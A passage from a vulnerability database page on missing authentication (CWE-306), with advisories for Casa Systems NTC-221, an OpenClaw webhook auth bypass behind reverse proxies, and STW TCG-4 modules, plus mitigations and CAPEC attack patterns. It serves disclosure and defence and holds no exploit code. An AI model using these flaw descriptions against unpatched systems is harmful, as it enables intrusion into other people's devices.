"details": "An issue in Casa Systems NTC-221 version 2.0.99.0 and before allows a remote attacker to execute arbitrary code via a crafted payload to the /www/cgi-bin/nas.cgi component.",
"id": "GHSA-xc58-g4fh-rfxp",
"modified": "2024-10-23T18:33:07Z",
"published": "2024-10-23T00:31:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-26519"
},
{
"type": "WEB",
"url": "https://cybercx.com.au/blog/zero-day-rce-in-netcomm-ntc-221-industrial-iot-m2m-lte-4g-router"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-XC7W-V5X6-CC87
Vulnerability from github – Published: 2026-02-17 17:14 – Updated: 2026-03-06 01:00
VLAI
Summary
OpenClaw has a webhook auth bypass when gateway is behind a reverse proxy (loopback remoteAddress trust)
Details
Summary
The BlueBubbles webhook handler previously treated any request whose socket remoteAddress was loopback (127.0.0.1, ::1, ::ffff:127.0.0.1) as authenticated. When OpenClaw Gateway is behind a reverse proxy (Tailscale Serve/Funnel, nginx, Cloudflare Tunnel, ngrok), the proxy typically connects to the gateway over loopback, allowing unauthenticated remote requests to bypass the configured webhook password.
This could allow an attacker who can reach the proxy endpoint to inject arbitrary inbound BlueBubbles message/reaction events.
Affected Packages / Versions
- Package:
openclaw(npm) - Affected versions:
< 2026.2.12 - Patched versions:
>= 2026.2.12
Exposure / Configuration
- BlueBubbles is an optional channel plugin (intended to eventually replace the legacy iMessage plugin, which is also optional). It is not enabled by default and is not part of a standard OpenClaw configuration.
- Only deployments with the BlueBubbles webhook endpoint exposed through a reverse proxy are impacted.
Details
The BlueBubbles webhook handler accepts inbound events via an HTTP POST endpoint under the configured BlueBubbles webhook path.
In vulnerable versions, the handler would accept requests as authenticated if req.socket.remoteAddress is loopback, without validating forwarding headers. With common reverse-proxy setups, the gateway sees the proxy as the direct client (loopback), even when the original request is remote.
Fix
- Primary fix (released in
2026.2.12): remove loopback-based authentication bypass and require the configured webhook secret. - Defense-in-depth follow-up (next release after commit below): treat requests with forwarding headers as proxied and never accept passwordless webhooks through a proxy.
Fix Commit(s)
f836c385ffc746cb954e8ee409f99d079bfdcd2f(released in2026.2.12)743f4b28495cdeb0d5bf76f6ebf4af01f6a02e5a(defense-in-depth follow-up)
Mitigations
- Ensure a BlueBubbles webhook password is configured.
- Do not expose the gateway webhook endpoint publicly without authentication.
Thanks @simecek for reporting.
Severity
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "openclaw"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.2.12"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-29613"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-17T17:14:00Z",
"nvd_published_at": "2026-03-05T22:16:24Z",
"severity": "HIGH"
},
"details": "## Summary\n\nThe BlueBubbles webhook handler previously treated any request whose socket `remoteAddress` was loopback (`127.0.0.1`, `::1`, `::ffff:127.0.0.1`) as authenticated. When OpenClaw Gateway is behind a reverse proxy (Tailscale Serve/Funnel, nginx, Cloudflare Tunnel, ngrok), the proxy typically connects to the gateway over loopback, allowing unauthenticated remote requests to bypass the configured webhook password.\n\nThis could allow an attacker who can reach the proxy endpoint to inject arbitrary inbound BlueBubbles message/reaction events.\n\n## Affected Packages / Versions\n\n- Package: `openclaw` (npm)\n- Affected versions: `\u003c 2026.2.12`\n- Patched versions: `\u003e= 2026.2.12`\n\n## Exposure / Configuration\n\n- BlueBubbles is an optional channel plugin (intended to eventually replace the legacy iMessage plugin, which is also optional). It is not enabled by default and is not part of a standard OpenClaw configuration.\n- Only deployments with the BlueBubbles webhook endpoint exposed through a reverse proxy are impacted.\n\n## Details\n\nThe BlueBubbles webhook handler accepts inbound events via an HTTP POST endpoint under the configured BlueBubbles webhook path.\n\nIn vulnerable versions, the handler would accept requests as authenticated if `req.socket.remoteAddress` is loopback, without validating forwarding headers. With common reverse-proxy setups, the gateway sees the proxy as the direct client (loopback), even when the original request is remote.\n\n## Fix\n\n- Primary fix (released in `2026.2.12`): remove loopback-based authentication bypass and require the configured webhook secret.\n- Defense-in-depth follow-up (next release after commit below): treat requests with forwarding headers as proxied and never accept passwordless webhooks through a proxy.\n\n## Fix Commit(s)\n\n- [`f836c385ffc746cb954e8ee409f99d079bfdcd2f`](https://github.com/openclaw/openclaw/commit/f836c385ffc746cb954e8ee409f99d079bfdcd2f) (released in `2026.2.12`)\n- [`743f4b28495cdeb0d5bf76f6ebf4af01f6a02e5a`](https://github.com/openclaw/openclaw/commit/743f4b28495cdeb0d5bf76f6ebf4af01f6a02e5a) (defense-in-depth follow-up)\n\n## Mitigations\n\n- Ensure a BlueBubbles webhook password is configured.\n- Do not expose the gateway webhook endpoint publicly without authentication.\n\nThanks @simecek for reporting.",
"id": "GHSA-xc7w-v5x6-cc87",
"modified": "2026-03-06T01:00:29Z",
"published": "2026-02-17T17:14:00Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-xc7w-v5x6-cc87"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-29613"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/commit/743f4b28495cdeb0d5bf76f6ebf4af01f6a02e5a"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/commit/f836c385ffc746cb954e8ee409f99d079bfdcd2f"
},
{
"type": "PACKAGE",
"url": "https://github.com/openclaw/openclaw"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/releases/tag/v2026.2.12"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/openclaw-webhook-authentication-bypass-via-loopback-remoteaddress-trust"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "OpenClaw has a webhook auth bypass when gateway is behind a reverse proxy (loopback remoteAddress trust)"
}
GHSA-XCF7-G637-P7F5
Vulnerability from github – Published: 2023-06-29 18:30 – Updated: 2024-04-04 05:17
VLAI
Details
STW (aka Sensor-Technik Wiedemann) TCG-4 Connectivity Module DeploymentPackage_v3.03r0-Impala and DeploymentPackage_v3.04r2-Jellyfish and TCG-4lite Connectivity Module DeploymentPackage_v3.04r2-Jellyfish allow an attacker to gain full remote access with root privileges without the need for authentication, giving an attacker arbitrary remote code execution over LTE / 4G network via SMS.
Severity
9.8 (Critical)
{
"affected": [],
"aliases": [
"CVE-2023-35830"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-06-29T16:15:09Z",
"severity": "CRITICAL"
},
"details": "STW (aka Sensor-Technik Wiedemann) TCG-4 Connectivity Module DeploymentPackage_v3.03r0-Impala and DeploymentPackage_v3.04r2-Jellyfish and TCG-4lite Connectivity Module DeploymentPackage_v3.04r2-Jellyfish allow an attacker to gain full remote access with root privileges without the need for authentication, giving an attacker arbitrary remote code execution over LTE / 4G network via SMS.",
"id": "GHSA-xcf7-g637-p7f5",
"modified": "2024-04-04T05:17:53Z",
"published": "2023-06-29T18:30:57Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-35830"
},
{
"type": "WEB",
"url": "https://www.stw-mobile-machines.com/fileadmin/user_upload/content/STW/PSIRT/STW-IR-23-001.pdf"
},
{
"type": "WEB",
"url": "https://www.stw-mobile-machines.com/psirt"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
Architecture and Design
- Divide the software into anonymous, normal, privileged, and administrative areas. Identify which of these areas require a proven user identity, and use a centralized authentication capability.
- Identify all potential communication channels, or other means of interaction with the software, to ensure that all channels are appropriately protected, including those channels that are assumed to be accessible only by authorized parties. Developers sometimes perform authentication at the primary channel, but open up a secondary channel that is assumed to be private. For example, a login mechanism may be listening on one network port, but after successful authentication, it may open up a second port where it waits for the connection, but avoids authentication because it assumes that only the authenticated party will connect to the port.
- In general, if the software or protocol allows a single session or user state to persist across multiple connections or channels, authentication and appropriate credential management need to be used throughout.
Mitigation MIT-15
Architecture and Design
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation
Architecture and Design
- Where possible, avoid implementing custom, "grow-your-own" authentication routines and consider using authentication capabilities as provided by the surrounding framework, operating system, or environment. These capabilities may avoid common weaknesses that are unique to authentication; support automatic auditing and tracking; and make it easier to provide a clear separation between authentication tasks and authorization tasks.
- In environments such as the World Wide Web, the line between authentication and authorization is sometimes blurred. If custom authentication routines are required instead of those provided by the server, then these routines must be applied to every single page, since these pages could be requested directly.
Mitigation MIT-4.5
Architecture and Design
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using libraries with authentication capabilities such as OpenSSL or the ESAPI Authenticator [REF-45].
Mitigation
Implementation
System Configuration
Operation
When storing data in the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), use the provider's controls to require strong authentication for users who should be allowed to access the data [REF-1297] [REF-1298] [REF-1302].
CAPEC-12: Choosing Message Identifier
This pattern of attack is defined by the selection of messages distributed via multicast or public information channels that are intended for another client by determining the parameter value assigned to that client. This attack allows the adversary to gain access to potentially privileged information, and to possibly perpetrate other attacks through the distribution means by impersonation. If the channel/message being manipulated is an input rather than output mechanism for the system, (such as a command bus), this style of attack could be used to change the adversary's identifier to more a privileged one.
CAPEC-166: Force the System to Reset Values
An attacker forces the target into a previous state in order to leverage potential weaknesses in the target dependent upon a prior configuration or state-dependent factors. Even in cases where an attacker may not be able to directly control the configuration of the targeted application, they may be able to reset the configuration to a prior state since many applications implement reset functions.
CAPEC-216: Communication Channel Manipulation
An adversary manipulates a setting or parameter on communications channel in order to compromise its security. This can result in information exposure, insertion/removal of information from the communications stream, and/or potentially system compromise.
CAPEC-36: Using Unpublished Interfaces or Functionality
An adversary searches for and invokes interfaces or functionality that the target system designers did not intend to be publicly available. If interfaces fail to authenticate requests, the attacker may be able to invoke functionality they are not authorized for.
CAPEC-62: Cross Site Request Forgery
An attacker crafts malicious web links and distributes them (via web pages, email, etc.), typically in a targeted manner, hoping to induce users to click on the link and execute the malicious action against some third-party application. If successful, the action embedded in the malicious link will be processed and accepted by the targeted application with the users' privilege level. This type of attack leverages the persistence and implicit trust placed in user session cookies by many web applications today. In such an architecture, once the user authenticates to an application and a session cookie is created on the user's system, all following transactions for that session are authenticated using that cookie including potential actions initiated by an attacker and simply "riding" the existing session cookie.